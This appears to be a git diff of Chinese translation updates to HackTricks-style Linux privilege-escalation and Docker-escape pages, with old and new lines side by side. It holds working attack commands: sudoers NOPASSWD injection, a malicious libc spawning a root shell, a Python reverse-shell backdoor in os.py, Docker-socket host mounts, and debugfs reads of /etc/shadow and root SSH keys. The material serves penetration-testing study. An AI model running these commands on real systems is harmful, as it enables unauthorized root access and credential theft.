- "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行了某些操作(默认情况下,这是允许我们使用 `sudo` 而不输入任何密码的 sudo 令牌的持续时间)
- `cat /proc/sys/kernel/yama/ptrace_scope` 为 0
- "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行了某些操作(默认情况下,这是允许我们在不输入任何密码的情况下使用 `sudo` 的 sudo 令牌的持续时间)
- `cat /proc/sys/kernel/yama/ptrace_scope` 的值为 0
- `gdb` 可访问(您可以上传它)
(您可以通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 临时启用 `ptrace_scope`,或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0` 来实现)
如果满足所有这些要求,**您可以使用以下方法提升特权:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- **第一个利用** (`exploit.sh`) 将在 _/tmp_ 中创建二进制文件 `activate_sudo_token`。您可以使用它来 **激活您会话中的 sudo 令牌**(您不会自动获得 root shell请执行 `sudo su`
- **第一个利用** (`exploit.sh`) 将在 _/tmp_ 中创建二进制文件 `activate_sudo_token`。您可以使用它来 **在您的会话中激活 sudo 令牌**(您不会自动获得 root shell请执行 `sudo su`
```bash
bash exploit.sh
/tmp/activate_sudo_token
@ -946,7 +946,7 @@ sudo su
```
### /var/run/sudo/ts/\<Username>
如果您在该文件夹或文件夹内创建的任何文件具有**写权限**,则可以使用二进制文件[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)为用户和PID**创建sudo令牌**。\
如果您在该文件夹或文件夹内创建的任何文件具有**写权限**,则可以使用二进制文件[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)为用户和PID**创建sudo令牌**。\
例如如果您可以覆盖文件_/var/run/sudo/ts/sampleuser_并且您以该用户的身份拥有PID 1234的shell则可以**获得sudo权限**而无需知道密码,方法是:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
@ -959,7 +959,7 @@ sudo su
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
如果你能写,你就可以滥用这个权限
如果你会写东西,你就可以滥用这个权限。
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
@ -1004,9 +1004,9 @@ sudo ls
文件 `/etc/ld.so.conf` 指示 **加载的配置文件来自哪里**。通常,这个文件包含以下路径:`include /etc/ld.so.conf.d/*.conf`
这意味着将读取来自 `/etc/ld.so.conf.d/*.conf` 的配置文件。这些配置文件 **指向其他文件夹**,在这些文件夹中将 **搜索** **库**。例如,`/etc/ld.so.conf.d/libc.conf` 的内容是 `/usr/local/lib`。**这意味着系统将在 `/usr/local/lib` 内搜索库**。
这意味着将读取来自 `/etc/ld.so.conf.d/*.conf` 的配置文件。这些配置文件 **指向其他文件夹**,在这些文件夹中将 **搜索** **库**。例如,`/etc/ld.so.conf.d/libc.conf` 的内容是 `/usr/local/lib` **这意味着系统将在 `/usr/local/lib` 内搜索库**
如果于某种原因 **用户对任何指示的路径具有写权限**`/etc/ld.so.conf``/etc/ld.so.conf.d/``/etc/ld.so.conf.d/` 内的任何文件或 `/etc/ld.so.conf.d/*.conf` 内的配置文件中的任何文件夹,他可能能够提升权限。\
如果于某种原因 **用户对任何指示的路径具有写权限**`/etc/ld.so.conf``/etc/ld.so.conf.d/``/etc/ld.so.conf.d/` 中的任何文件或 `/etc/ld.so.conf.d/*.conf` 中的配置文件内的任何文件夹,他可能能够提升权限。\
请查看 **如何利用此错误配置** 在以下页面:
{{#ref}}
@ -1033,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
然后在 `/var/tmp` 中创建一个恶意库,使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
然后在 `/var/tmp` 中创建一个恶意库,使用命令 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
```c
#include<stdlib.h>
#define SHELL "/bin/sh"
@ -1046,25 +1046,25 @@ setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
```
## 能力
## Capabilities
Linux 能力提供了 **可用根权限的子集给一个进程**。这有效地将根 **权限分解为更小且独特的单元**。每个单元可以独立授予给进程。通过这种方式,完整的权限集被减少,从而降低了被利用的风险。\
阅读以下页面以 **了解更多关于能力及其滥用的方法**
Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\
Read the following page to **learn more about capabilities and how to abuse them**:
{{#ref}}
linux-capabilities.md
{{#endref}}
## 目录权限
## Directory permissions
一个目录中,**“执行”** 位意味着受影响的用户可以 "**cd**" 进入该文件夹。\
**“读取”** 位意味着用户可以 **列出** **文件**,而 **“写入”** 位意味着用户可以 **删除** **创建** **文件**
目录中,**“执行”**位意味着受影响的用户可以“**cd**”进入该文件夹。\
**“读取”**位意味着用户可以**列出**文件,而**“写入”**位意味着用户可以**删除**和**创建**新**文件**。
## ACLs
访问控制列表 (ACLs) 代表了可选择权限的第二层,能够 **覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝特定用户(非所有者或组成员)访问文件或目录,增强了对访问的控制。这种 **粒度确保了更精确的访问管理**。更多细节可以在 [**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux) 找到。
访问控制列表ACLs代表了可自由裁量权限的第二层能够**覆盖传统的ugo/rwx权限**。这些权限通过允许或拒绝特定用户(非所有者或组成员)访问文件或目录,从而增强了对访问的控制。这种**粒度确保了更精确的访问管理**。更多细节可以在[**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux)找到。
**给予** 用户 "kali" 对一个文件的读取和写入权限:
**给予**用户“kali”对文件的读取和写入权限:
```bash
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
@ -1077,8 +1077,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## 打开 shell 会话
**旧版本** 中,您可能会 **劫持** 其他用户 (**root**) 的一些 **shell** 会话。\
**最新版本** 中,您只能 **连接** **您自己用户** 的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。
**旧版本**中,您可能会 **劫持**其他用户(**root**的一些 **shell** 会话。\
**最新版本**中,您只能 **连接**到 **您自己用户**的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。
### 屏幕会话劫持
@ -1123,8 +1123,8 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
### Debian OpenSSL 可预测的 PRNG - CVE-2008-0166
在 2006 年 9 月到 2008 年 5 月 13 日之间,在基于 Debian 的系统(如 Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥可能受到此漏洞的影响。\
此漏洞是在这些操作系统中创建新 ssh 密钥时造成的,因为 **仅可能有 32,768 种变体**。这意味着所有可能性都可以计算,并且 **拥有 ssh 公钥后,您可以搜索相应的私钥**。您可以在此处找到计算的可能性:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
在 2006 年 9 月到 2008 年 5 月 13 日之间生成的所有 Debian 基于系统Ubuntu、Kubuntu 等)的 SSL 和 SSH 密钥可能受到此漏洞的影响。\
此漏洞是在这些操作系统中创建新 ssh 密钥时造成的,因为 **仅有 32,768 种变体是可能的**。这意味着所有可能性都可以计算,并且 **拥有 ssh 公钥后,您可以搜索相应的私钥**。您可以在这里找到计算出的可能性:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH 有趣的配置值
@ -1151,7 +1151,7 @@ AuthorizedKeysFile .ssh/authorized_keys access
### ForwardAgent/AllowAgentForwarding
SSH代理转发允许您**使用本地SSH密钥而不是将密钥**(没有密码短语!)放在服务器上。因此,您将能够**通过ssh跳转**到一个主机,然后从那里**跳转到另一个**主机**使用**位于您**初始主机**中的**密钥**。
SSH代理转发允许您**使用本地SSH密钥而不是将密钥**(没有密码短语!)放在服务器上。因此,您将能够**通过ssh跳转到一个主机**,然后从那里**跳转到另一个**主机**使用**位于您**初始主机**中的**密钥**。
您需要在`$HOME/.ssh.config`中设置此选项,如下所示:
```
@ -1163,7 +1163,7 @@ ForwardAgent yes
文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\
文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许****拒绝** ssh-agent 转发(默认是允许)。
如果你发现转发代理在某个环境中被配置,请阅读以下页面,因为 **你可能能够利用它来提升权限**
如果您发现转发代理在某个环境中被配置,请阅读以下页面,因为 **您可能能够利用它来提升权限**
{{#ref}}
ssh-forward-agent-exploitation.md
@ -1173,7 +1173,7 @@ ssh-forward-agent-exploitation.md
### 配置文件
文件 `/etc/profile``/etc/profile.d/` 下的文件是 **在用户运行新 shell 时执行的脚本**。因此,如果你可以 **写入或修改其中任何一个,你可以提升权限**。
文件 `/etc/profile``/etc/profile.d/` 下的文件是 **在用户运行新 shell 时执行的脚本**。因此,如果您可以 **写入或修改其中任何一个,您可以提升权限**。
```bash
ls -l /etc/profile /etc/profile.d/
```
@ -1231,7 +1231,7 @@ Group=root
### 检查文件夹
以下文件夹可能包含备份或有趣的信息:**/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**可能无法读取最后一个,但可以尝试)
以下文件夹可能包含备份或有趣的信息:**/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(可能无法读取最后一个,但可以尝试)
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
@ -1252,7 +1252,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat
done
done
```
### 最近修改的文件
### 最近几分钟内修改的文件
```bash
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
```
@ -1268,12 +1268,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
```bash
find / -type f -iname ".*" -ls 2>/dev/null
```
### **路径中的脚本/二进制文件**
### **在 PATH 中的脚本/二进制文件**
```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
```
### **网文件**
### **网文件**
```bash
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
@ -1286,18 +1286,18 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
```
### 已知包含密码的文件
阅读[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)的代码,它搜索**可能包含密码的多个文件**。\
阅读[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)的代码,它搜索**可能包含密码的多个文件**。\
**另一个有趣的工具**是:[**LaZagne**](https://github.com/AlessandroZ/LaZagne)这是一个开源应用程序用于检索存储在本地计算机上的大量密码适用于Windows、Linux和Mac。
### 日志
如果您可以读取日志,您可能会在其中找到**有趣/机密的信息**。日志越奇怪,它就越有趣(可能)。\
此外,一些“**错误**”配置(后门?)的**审计日志**可能允许您在审计日志中**记录密码**,正如在这篇文章中所解释的:[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
此外,一些“**错误**”配置(后门?)的**审计日志**可能允许您**在审计日志中记录密码**,正如在这篇文章中所解释的:[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
为了**读取日志,组** [**adm**](interesting-groups-linux-pe/#adm-group) 将非常有帮助。
为了**读取日志,组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 将非常有帮助。
### Shell 文件
```bash
@ -1310,16 +1310,16 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
~/.zlogin #zsh shell
~/.zshrc #zsh shell
```
### 通用凭据搜索/正则表达式
### Generic Creds Search/Regex
您还应该检查包含“**password**”的文件,无论是在**名称**中还是在**内容**中并检查日志中的IP和电子邮件或哈希正则表达式。\
您还应该检查包含“**password**”一词的文件,无论是在**名称**中还是在**内容**中并检查日志中的IP和电子邮件或哈希正则表达式。\
我不会在这里列出如何做到这一切,但如果您感兴趣,可以查看[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)执行的最后检查。
## 可写文件
## Writable files
### Python库劫持
### Python library hijacking
如果您知道**从哪里**将执行python脚本并且您**可以在**该文件夹中写入或**修改python库**您可以修改OS库并进行后门如果您可以写入python脚本将要执行的位置请复制并粘贴os.py库
如果您知道**从哪里**将执行python脚本并且您**可以在**该文件夹中写入或**修改python库**您可以修改OS库并进行后门如果您可以写入python脚本将要执行的位置请复制并粘贴os.py库
要**对库进行后门**只需在os.py库的末尾添加以下行更改IP和端口
```python
@ -1344,7 +1344,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
如果出于某种原因,用户能够 **写入** 一个 `ifcf-<whatever>` 脚本到 _/etc/sysconfig/network-scripts_ **或** 可以 **调整** 一个现有的脚本,那么您的 **系统就被攻陷了**
网络脚本,例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而,它们在 Linux 中由网络管理器dispatcher.d\~sourced\~。
网络脚本,例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而,它们在 Linux 上由网络管理器dispatcher.d进行 \~sourced\~。
在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果您在名称中有 **空格**,系统会尝试执行空格后的部分。这意味着 **第一个空格后的所有内容都以 root 身份执行**
@ -1356,11 +1356,11 @@ DEVICE=eth0
```
### **init, init.d, systemd 和 rc.d**
目录 `/etc/init.d`**System V init (SysVinit)****脚本** 的家,**经典的 Linux 服务管理系统**。它包括用于 `启动`、`停止``重启`,有时 `重新加载` 服务的脚本。这些可以直接执行或通过在 `/etc/rc?.d/` 中找到的符号链接执行。在 Redhat 系统中,另一个路径是 `/etc/rc.d/init.d`
目录 `/etc/init.d`**System V init (SysVinit)****脚本** 的家,**经典的 Linux 服务管理系统**。它包括用于 `start`、`stop``restart` 和有时 `reload` 服务的脚本。这些可以直接执行或通过在 `/etc/rc?.d/` 中找到的符号链接执行。在 Redhat 系统中,另一个路径是 `/etc/rc.d/init.d`
另一方面,`/etc/init`**Upstart** 相关,这是由 Ubuntu 引入的较新的 **服务管理**,使用配置文件进行服务管理任务。尽管已经过渡到 Upstart但由于 Upstart 中的兼容性层SysVinit 脚本仍与 Upstart 配置一起使用。
**systemd** 作为现代初始化和服务管理器出现,提供了高级功能,如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 用于分发包和 `/etc/systemd/system/` 用于管理员修改,从而简化系统管理过程。
**systemd** 作为现代初始化和服务管理器出现,提供了高级功能,如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 用于分发包和 `/etc/systemd/system/` 用于管理员修改,从而简化系统管理过程。
## 其他技巧

View File

@ -1,12 +1,12 @@
# 利用 Docker Socket 提升权限
# Abusing Docker Socket for Privilege Escalation
{{#include ../../../banners/hacktricks-training.md}}
有些情况下你只需**访问 docker socket**,并希望利用它来**提升权限**。某些操作可能非常可疑,你可能想要避免它们,因此在这里你可以找到一些有用的标志来提升权限
有些情况下,你只拥有**docker socket的访问权限**,并且想利用它来**提升权限**。某些操作可能会非常可疑,你可能想要避免它们,因此在这里你可以找到不同的标志,这些标志可能对提升权限有用
### 通过挂载
你可以在以 root 身份运行的容器中**挂载**文件系统的不同部分并**访问**它们。\
你可以在以root身份运行的容器中**挂载**文件系统的不同部分并**访问**它们。\
你也可以**利用挂载来提升容器内的权限**。
- **`-v /:/host`** -> 在容器中挂载主机文件系统,以便你可以**读取主机文件系统**。
@ -22,22 +22,22 @@
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> 这与前面的方法类似,但这里我们是**挂载设备磁盘**。然后,在容器内运行 `mount /dev/sda1 /mnt`,你可以在 `/mnt` 中**访问**主机文件系统。
- 在主机上运行 `fdisk -l` 找到要挂载的 `</dev/sda1>` 设备。
- **`-v /tmp:/host`** -> 如果由于某种原因你只能**挂载主机的某个目录**并且你可以在主机内访问它。挂载它并在挂载目录中创建一个带有**suid**的**`/bin/bash`**,这样你就可以**从主机执行它并提升到 root**。
- **`-v /tmp:/host`** -> 如果由于某种原因你只能**挂载主机的某个目录**并且你可以在主机内访问它。挂载它并在挂载目录中创建一个带有**suid**的**`/bin/bash`**,这样你就可以**从主机执行它并提升到root**。
> [!NOTE]
> 请注意,也许你无法挂载文件夹 `/tmp`,但你可以挂载一个**不同的可写文件夹**。你可以使用以下命令找到可写目录:`find / -writable -type d 2>/dev/null`
>
> **请注意,并非所有 Linux 机器上的目录都支持 suid 位!** 要检查哪些目录支持 suid 位,请运行 `mount | grep -v "nosuid"`。例如,通常 `/dev/shm``/run``/proc``/sys/fs/cgroup``/var/lib/lxcfs` 不支持 suid 位。
> **请注意,并非所有Linux机器上的目录都支持suid位** 要检查哪些目录支持suid位请运行 `mount | grep -v "nosuid"`。例如,通常 `/dev/shm``/run``/proc``/sys/fs/cgroup``/var/lib/lxcfs` 不支持suid位。
>
> 还要注意,如果你可以**挂载 `/etc`** 或任何其他**包含配置文件**的文件夹,你可以在 docker 容器中以 root 身份更改它们,以便在主机中**利用它们**并提升权限(可能修改 `/etc/shadow`)。
> 还要注意,如果你可以**挂载 `/etc`** 或任何其他**包含配置文件**的文件夹你可以在docker容器中以root身份更改它们以便在主机中**利用它们**并提升权限(可能修改 `/etc/shadow`)。
### 从容器中逃逸
- **`--privileged`** -> 使用此标志,你可以[移除容器的所有隔离](docker-privileged.md#what-affects)。查看技术以[以 root 身份从特权容器中逃逸](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)。
- **`--privileged`** -> 使用此标志,你可以[移除容器的所有隔离](docker-privileged.md#what-affects)。检查技术以[以root身份逃逸特权容器](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape)。
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> 为了[通过能力提升](../linux-capabilities.md)**将该能力授予容器**并禁用可能阻止漏洞工作的其他保护方法。
### Curl
在本页中,我们讨论了使用 docker 标志提升权限的方法,你可以在页面中找到**使用 curl 命令滥用这些方法的方式**
在本页中我们讨论了使用docker标志提升权限的方法你可以在页面中找到**使用curl命令滥用这些方法的方式**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
# 基本架构
Docker Auth 插件是 **外部** **插件**,您可以使用它们来 **允许/拒绝** 请求到 Docker 守护进程的 **操作**具体取决于请求的 **用户****请求的操作**
Docker Auth 插件是 **外部** **插件**,您可以用它们来 **允许/拒绝** 请求到 Docker 守护进程的 **操作**取决于请求的 **用户****请求的操作**
**[以下信息来自文档](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
@ -18,19 +18,19 @@ Docker Auth 插件是 **外部** **插件**,您可以使用它们来 **允许/
每个发送到插件的请求 **包括经过身份验证的用户、HTTP 头和请求/响应体**。只有 **用户名****使用的身份验证方法** 被传递给插件。最重要的是,**不** 会传递用户 **凭据** 或令牌。最后,**并非所有请求/响应体都会发送** 到授权插件。只有那些 `Content-Type``text/*``application/json` 的请求/响应体会被发送。
对于可能劫持 HTTP 连接的命令(`HTTP Upgrade`),如 `exec`,授权插件仅在初始 HTTP 请求时被调用。一旦插件批准命令,后续流程不再应用授权。具体来说,流数据不会传递给授权插件。对于返回分块 HTTP 响应的命令,如 `logs``events`,仅发送 HTTP 请求到授权插件。
对于可能劫持 HTTP 连接的命令(`HTTP Upgrade`),如 `exec`,授权插件仅在初始 HTTP 请求时被调用。一旦插件批准命令,后续流程不再应用授权。具体来说,流数据不会传递给授权插件。对于返回分块 HTTP 响应的命令,如 `logs``events`,仅 HTTP 请求会发送到授权插件。
在请求/响应处理期间,一些授权流程可能需要对 Docker 守护进程进行额外查询。为了完成这些流程,插件可以像普通用户一样调用守护进程 API。为了启用这些额外查询插件必须提供管理员配置适当身份验证和安全策略的手段。
在请求/响应处理过程中,一些授权流程可能需要对 Docker 守护进程进行额外查询。为了完成这些流程,插件可以像普通用户一样调用守护进程 API。为了启用这些额外查询插件必须提供管理员配置适当身份验证和安全策略的手段。
## 多个插件
您负责将 **插件** 注册为 Docker 守护进程 **启动** 的一部分。您可以安装 **多个插件并将它们链接在一起**。这个链可以是有序的。每个请求按顺序通过链传递。只有当 **所有插件都授予访问** 资源时,访问才会被授予。
您负责将 **插件** 注册为 Docker 守护进程 **启动** 的一部分。您可以安装 **多个插件并将它们链接在一起**。这个链可以是有序的。每个对守护进程的请求按顺序通过链。只有当 **所有插件都授予访问** 资源时,访问才会被授予。
# 插件示例
## Twistlock AuthZ Broker
插件 [**authz**](https://github.com/twistlock/authz) 允许您创建一个简单的 **JSON** 文件,插件将 **读取** 该文件以授权请求。因此,它为您提供了非常简单的机会来控制哪些 API 端点可以到达每个用户。
插件 [**authz**](https://github.com/twistlock/authz) 允许您创建一个简单的 **JSON** 文件,插件将 **读取** 该文件以授权请求。因此,它使您能够非常轻松地控制哪些 API 端点可以访问每个用户。
这是一个示例,允许 Alice 和 Bob 创建新容器:`{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
@ -46,7 +46,7 @@ Docker Auth 插件是 **外部** **插件**,您可以使用它们来 **允许/
## 枚举访问
主要检查的内容是 **哪些端点被允许****哪些 HostConfig 值被允许**。
主要检查的内容是 **哪些端点被允许****哪些 HostConfig 值被允许**。
要执行此枚举,您可以 **使用工具** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
@ -76,7 +76,7 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
```
现在,用户可以使用任何[**之前讨论过的技术**](./#privileged-flag)从容器中逃逸并在主机内部**提升权限**。
现在,用户可以使用任何[**之前讨论过的技术**](#privileged-flag)从容器中逃逸并在主机内部**提升权限**。
## 挂载可写文件夹
@ -94,17 +94,17 @@ host> /tmp/bash
>
> **请注意,并非所有 Linux 机器上的目录都支持 suid 位!** 要检查哪些目录支持 suid 位,请运行 `mount | grep -v "nosuid"`。例如,通常 `/dev/shm``/run``/proc``/sys/fs/cgroup``/var/lib/lxcfs` 不支持 suid 位。
>
> 还要注意,如果您可以 **挂载 `/etc`** 或任何其他 **包含配置文件** 的文件夹,您可以作为 root 从 docker 容器中更改它们,以便在主机上 **滥用它们** 并提升权限(可能修改 `/etc/shadow`
> 还要注意,如果您可以 **挂载 `/etc`** 或任何其他 **包含配置文件** 的文件夹,您可以作为 root 从 docker 容器中更改它们,以便在主机上 **滥用它们** 并提升权限(可能修改 `/etc/shadow`
## 未检查的 API 端点
配置此插件的系统管理员的责任是控制每个用户可以执行的操作及其权限。因此,如果管理员对端点和属性采取 **黑名单** 方法,他可能会 **忘记其中一些**,这可能允许攻击者 **提升权限**
配置此插件的系统管理员的责任是控制每个用户可以执行的操作及其权限。因此,如果管理员对端点和属性采取 **黑名单** 方法,他可能会 **忘记一些** 可能允许攻击者 **提升权限** 的端点
您可以在 [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) 检查 docker API
您可以在 [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) 检查 docker API
## 未检查的 JSON 结构
### 根目录中的绑定
### 根目录中的绑定
可能在系统管理员配置 docker 防火墙时,他 **忘记了一些重要参数**,例如 [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) 中的 "**Binds**"。\
在以下示例中,可以利用此错误配置创建并运行一个挂载主机根目录(/)的容器:
@ -122,7 +122,7 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
### HostConfig 中的 Binds
按照与 **根中的 Binds** 相同的指示,向 Docker API 发送**请求**
按照与 **根中的 Binds** 相同的指示,向 Docker API 执行**请求**
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
```
@ -151,11 +151,11 @@ capsh --print
#You can abuse the SYS_MODULE capability
```
> [!NOTE]
> **`HostConfig`** 通常是包含 **有趣的** **权限** 以逃离容器的关键。然而,正如我们之前讨论的,注意在外部使用 Binds 也有效,并可能允许绕过限制。
> **`HostConfig`** 通常是包含 **有趣的** **权限** 的关键,可用来逃离容器。然而,正如我们之前讨论的,注意在外部使用 Binds 也有效,并可能允许绕过限制。
## 禁用插件
如果 **sysadmin** **忘记** **禁止** 禁用 **插件** 的能力,您可以利用这一点完全禁用它!
如果 **sysadmin** **忘记** **禁止** 禁用 **插件** 的能力,你可以利用这一点来完全禁用它!
```bash
docker plugin list #Enumerate plugins
@ -169,7 +169,7 @@ docker plugin enable authobot
```
记得在提升权限后**重新启用插件**,否则**重启docker服务将无效**
## Auth插件绕过写作
## Auth Plugin Bypass 文章
- [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)

View File

@ -26,8 +26,8 @@ sudo su
```bash
find / -perm -4000 2>/dev/null
```
如果您发现二进制文件 **pkexec 是一个 SUID 二进制文件**,并且您属于 **sudo****admin**,您可能可以使用 `pkexec` 以 sudo 身份执行二进制文件。\
这是因为通常这些是 **polkit 策略** 中的组。该策略基本上确定哪些组可以使用 `pkexec`。使用以下命令检查:
如果你发现二进制文件 **pkexec 是一个 SUID 二进制文件**,并且你属于 **sudo****admin**,你可能可以使用 `pkexec` 以 sudo 身份执行二进制文件。\
这是因为通常这些是 **polkit 策略** 中的组。该策略基本上确定哪些组可以使用 `pkexec`。使用以下命令检查:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
@ -37,7 +37,7 @@ cat /etc/polkit-1/localauthority.conf.d/*
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
如果您尝试执行 **pkexec** 并且收到此 **错误**
如果你尝试执行 **pkexec** 并且收到这个 **错误**
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
@ -60,7 +60,7 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
```
%wheel ALL=(ALL:ALL) ALL
```
这意味着 **任何属于 wheel 组的用户都可以以 sudo 执行任何操作**。
这意味着 **任何属于 wheel 组的用户都可以以 sudo 身份执行任何操作**。
如果是这样,要 **成为 root你只需执行**
```
@ -68,7 +68,7 @@ sudo su
```
## Shadow Group
来自 **group shadow** 的用户可以 **读取** **/etc/shadow** 文件:
来自 **group shadow** 的用户可以 **read** **/etc/shadow** 文件:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
@ -76,7 +76,7 @@ sudo su
## 员工组
**staff**: 允许用户在不需要根权限的情况下对系统进行本地修改(`/usr/local`)(请注意,`/usr/local/bin`中的可执行文件在任何用户的PATH变量中并且它们可能会“覆盖”`/bin``/usr/bin`中同名的可执行文件)。与更相关于监控/安全的“adm”组进行比较。 [\[source\]](https://wiki.debian.org/SystemGroups)
**staff**: 允许用户在不需要根权限的情况下对系统进行本地修改(`/usr/local`)(请注意,`/usr/local/bin`中的可执行文件在任何用户的PATH变量中并且它们可能会“覆盖” `/bin` `/usr/bin` 中同名的可执行文件)。与更相关于监控/安全的“adm”组进行比较。 [\[source\]](https://wiki.debian.org/SystemGroups)
在debian发行版中`$PATH`变量显示`/usr/local/`将以最高优先级运行,无论您是否是特权用户。
```bash
@ -96,7 +96,7 @@ $ cat /etc/crontab | grep run-parts
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
```
或当一个新的ssh会话登录时。
或当新的ssh会话登录时。
```bash
$ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
@ -141,7 +141,7 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
请注意,使用 debugfs 也可以 **写入文件**。例如,要将 `/tmp/asd1.txt` 复制到 `/tmp/asd2.txt`可以执行:
请注意,使用 debugfs 也可以 **写入文件**。例如,要将 `/tmp/asd1.txt` 复制到 `/tmp/asd2.txt`可以执行:
```bash
debugfs -w /dev/sda1
